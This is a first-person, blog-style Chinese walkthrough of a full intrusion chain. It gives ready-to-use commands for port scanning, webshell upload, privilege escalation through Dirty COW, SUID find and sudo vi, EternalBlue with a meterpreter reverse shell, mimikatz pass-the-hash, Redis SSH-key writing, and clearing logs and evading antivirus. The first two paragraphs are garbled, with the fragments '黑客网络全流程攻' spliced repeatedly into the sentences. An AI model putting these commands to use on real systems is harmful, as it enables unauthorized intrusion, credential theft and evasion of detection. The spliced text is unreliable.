拿到一台目标机器，黑客别急着敲命令。网络先看它开了什么端口。全流nmap -sS -p- 扫全端口，程攻速度慢但准。黑客我习惯加 -Pn，网络省得被防火墙的全流假死状态骗了。扫出来 22 和 80，程攻八成是黑客 Linux 跑着 web 服务。这时候别直接上 hydra 爆破 SSH，网络先看 80 端口的全流 web 应用——那才是突破口。

用 whatweb 或者直接浏览器打开，程攻看指纹。黑客WordPress、网络Joomla、全流还是自己写的破站？如果是 WP，wpscan 扫一遍插件漏洞，比瞎猜密码靠谱。有次我碰上个站点，wp-content/uploads 目录没关，直接列出来一个 shell.php，传上去就拿了 webshell。这种事现在少了，但老站还有。

拿到低权限 shell，第一件事是升级到交互式 TTY。python -c 'import pty; pty.spawn("/bin/bash")'，然后 Ctrl+Z，stty raw -echo，fg，再 export TERM=xterm。不然你连 vim 都开不了。接着看内核版本，uname -a。脏牛漏洞 CVE-2016-5195 在 2.6.22 到 4.8.3 之间通杀，编译个 exp 跑一下，root 到手。但别高兴太早，很多生产环境打了补丁，得换思路。

找 SUID 文件。find / -perm -u=s -type f 2>/dev/null。有个 /usr/bin/find 如果带 SUID，直接 find . -exec /bin/sh -p \; -quit。这招我用了不下十次，老系统上总有个把配置失误。还有 sudo -l，看当前用户能免密跑什么。有次看到 (ALL) NOPASSWD: /usr/bin/vi，直接 vi 里 :!bash 提权。简单得让人想笑。

内网横向移动，先看 arp -a 和 /etc/hosts。别一上来就 masscan 全网段，动静太大。用 nmap 的 --script smb-os-discovery 扫 445 端口，找 Windows 机器。永恒之蓝 MS17-010 虽然老，但内网里总有没打补丁的 XP 或者 2003。Metasploit 的 ms17_010_eternalblue 模块，set RHOSTS 目标 IP，run，等会话回来。记得先 set PAYLOAD windows/x64/meterpreter/reverse_tcp。

域环境里，mimikatz 是绕不开的。抓内存里的明文密码或者 NTLM hash，sekurlsa::logonpasswords。拿到 hash 可以 pass-the-hash，不用破解。有次我拿到域管 hash，直接 psexec 登录域控，整个过程不到二十分钟。但要注意，mimikatz 会被 AV 杀，得先做免杀或者用 PowerShell 版 Invoke-Mimikatz。

清理痕迹这事，看情况。如果是授权渗透，别删日志，那是证据。如果是黑产——我不干这个。但技术上，Linux 下清 /var/log/auth.log、/root/.bash_history，Windows 下清事件日志 4624、4625、4672。不过现在的 EDR 会记录一切，删了反而显眼。最好的隐藏是混在正常流量里，别用明显的 C2 域名。

最后说个真实案例。某次打一个电商站，前台 SQL 注入拿到 admin 表，破解出密码登录后台，上传插件 getshell。提权用 SUID 的 nmap，--interactive 模式 !sh。内网扫到 Redis 未授权，写 SSH 公钥登录数据库服务器。整个链路花了三天，因为中间踩了蜜罐，差点暴露。所以别信什么“全流程自动化”，手工测试才是王道。工具会骗你，但逻辑不会。